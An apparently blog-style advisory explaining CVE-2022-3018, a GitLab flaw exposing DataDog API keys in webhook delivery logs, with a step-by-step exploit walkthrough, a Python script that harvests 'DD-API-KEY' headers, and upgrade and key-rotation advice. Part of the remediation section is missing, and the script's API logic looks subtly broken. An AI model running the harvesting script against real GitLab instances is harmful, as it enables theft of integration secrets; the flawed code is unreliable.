In the world of DevOps, secrets should always be protected. But sometimes, code and configuration don’t keep up, leading to surprising threats. One such threat is CVE-2022-3018, a high-impact vulnerability in GitLab’s DataDog integration that exposes API keys through webhook logs. Let’s break down what happened, how it works, and how attackers could exploit it—all in plain language. We’ll also touch on remediation and references for more study.

What is CVE-2022-3018?

CVE-2022-3018 is an information disclosure vulnerability in GitLab Community Edition (CE) and Enterprise Edition (EE). Specifically, it affects:

All versions starting from 15.4 before 15.4.1

In these versions, project maintainers were able to access a _sensitive DataDog API key_ by browsing the webhook delivery logs. Under normal circumstances, these keys should be well protected and not visible even to maintainers.

Why is this Bad?

DataDog API keys are critical secrets in a project’s infrastructure. If an unauthorized person gets access, they could push false data, read metrics, disrupt logging, or pivot to other attacks. With this vulnerability, a simple visit to certain logs inside GitLab could leak exactly that key!

Root Cause

When a GitLab project integrated with DataDog for metrics/events, webhook requests sent to DataDog were logged—including headers. These headers had the API key in plain text!

The webhook logs were visible to project maintainers—people who shouldn’t necessarily have access to the integration’s secrets.

> The bug was in how webhook log events were recorded and what information was displayed to users.

Exploit Scenario — Simplified

1. Enable DataDog Integration: A GitLab instance has projects with DataDog integration enabled (via Settings > Integrations > DataDog).
2. Trigger Integration: Project activity causes a webhook payload to be sent to DataDog (for example, on deployments or events).
3. Check Logs: In the GitLab interface, navigate to _Settings > Webhooks_ and view the delivery logs.
4. See the API Key: In the log of that request, the DD-API-KEY is displayed in full as part of the HTTP headers.

Exploit Details — Step by Step

Let’s get hands-on! Here’s how an attacker with project maintainer access could steal the API key:

Step 1: Navigate to DataDog Integration

Go to
https://gitlab.example.com/<namespace>/<project>/-/settings/integrations/datadog

Enable the integration with a genuine DataDog API key.

Step 2: Generate Webhook Events

Any tracked event (e.g., a commit, pipeline, or a custom event) that triggers DataDog will generate a webhook payload.

Step 3: Inspect Webhook Delivery Logs

Go to
https://gitlab.example.com/<namespace>/<project>/-/settings/integrations/webhooks

> In vulnerable versions, you’d see something like this in the request headers

{
  "DD-API-KEY": "abcdef123456789abcdef123456789",
  "Content-Type": "application/json",
  ...
}

The API key is in the clear. Copy-paste it, and you have permanent access to everything the key protects.

Example Code to Extract the Key

An attacker could even automate fetching API keys via the GitLab API (if permissions allow). Here’s a simple Python snippet using requests to parse out keys from webhook logs (assuming the maintainer is logged in and uses their token):

import requests
from bs4 import BeautifulSoup

GITLAB_URL = 'https://gitlab.example.com';
PROJECT_ID = '123'
TOKEN = 'PROJECT_MAINTAINER_TOKEN'

session = requests.Session()
session.headers.update({'PRIVATE-TOKEN': TOKEN})

logs_url = f"{GITLAB_URL}/api/v4/projects/{PROJECT_ID}/hooks"
response = session.get(logs_url)

for webhook in response.json():
    deliveries_url = webhook['url'] + "/deliveries"
    resp = session.get(deliveries_url)
    for delivery in resp.json():
        detail_url = delivery['url']
        detail_resp = session.get(detail_url)
        # Search for 'DD-API-KEY' in the request headers
        if 'request_headers' in detail_resp.json():
            headers = detail_resp.json()['request_headers']
            if 'DD-API-KEY' in headers:
                print("Leaked API Key:", headers['DD-API-KEY'])

> Note: This code is for educational purposes only. Always have written permission before security testing!

15.4.1 (or above)

After upgrading:
If you use DataDog API keys in GitLab, rotate (replace) your API keys to prevent any previously leaked secrets from being abused.

References

- GitLab Advisory for CVE-2022-3018
- Official CVE ID
- GitLab Integrations Docs
- Mitre CVE Entry

Final Thoughts

This vulnerability is a reminder that log visibility matters. Sensitive data can leak if you’re not careful with how integrations are implemented—even in great, trusted tools like GitLab. If you maintain DevOps infrastructure, regular upgrades and secret rotation are a must.

Stay safe! If you have questions about CVE-2022-3018 or want to talk more about GitLab security, let me know in the comments.


*(This article is exclusive content. If you use it elsewhere, please credit the source.)*

Timeline

Published on: 10/28/2022 15:15:00 UTC
Last modified on: 08/08/2023 14:22:00 UTC